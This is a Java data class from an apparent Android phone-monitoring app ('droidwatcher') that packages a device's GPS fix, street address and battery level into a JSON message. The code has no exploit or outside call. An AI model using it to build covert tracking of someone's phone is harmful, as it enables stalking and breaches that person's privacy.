package com.droidwatcher.lib;

import com.amap.api.location.AMapLocation;
import com.droidwatcher.receivers.BatteryState;

import org.json.JSONException;
import org.json.JSONObject;


public class GDGPS extends GPS implements IMessageBody {
	public double acc;
	public int alt;
	public double lat;
	public double lon;
	public long date;
	public int battery;
	public String provider;
	public String location ;

	public GDGPS(AMapLocation location){
		super(location);
		this.acc = (double) Math.round(location.getAccuracy() * 100) / 100;
		this.alt = (int) Math.round(location.getAltitude());
		this.lat = location.getLatitude();
		this.lon = location.getLongitude();
		this.date = location.getTime();
		this.battery = BatteryState.getBatteryLevel();
		this.provider = location.getProvider();
		this.location = location.getCountry()+location.getProvince()+location.getCity()+location.getDistrict()+location.getStreet()+location.getStreetNum();
	}


	public JSONObject getJSONObject() {
		JSONObject obj = new JSONObject();
		try {
			obj.put("acc", acc);
			obj.put("alt", alt);
			obj.put("lat", lat);
			obj.put("lon", lon);
			obj.put("date", date);
			obj.put("battery", battery);
			obj.put("provider", provider);
			obj.put("location", location);
		} catch (JSONException e) {
			e.printStackTrace();
		}
		return obj;
	}
}
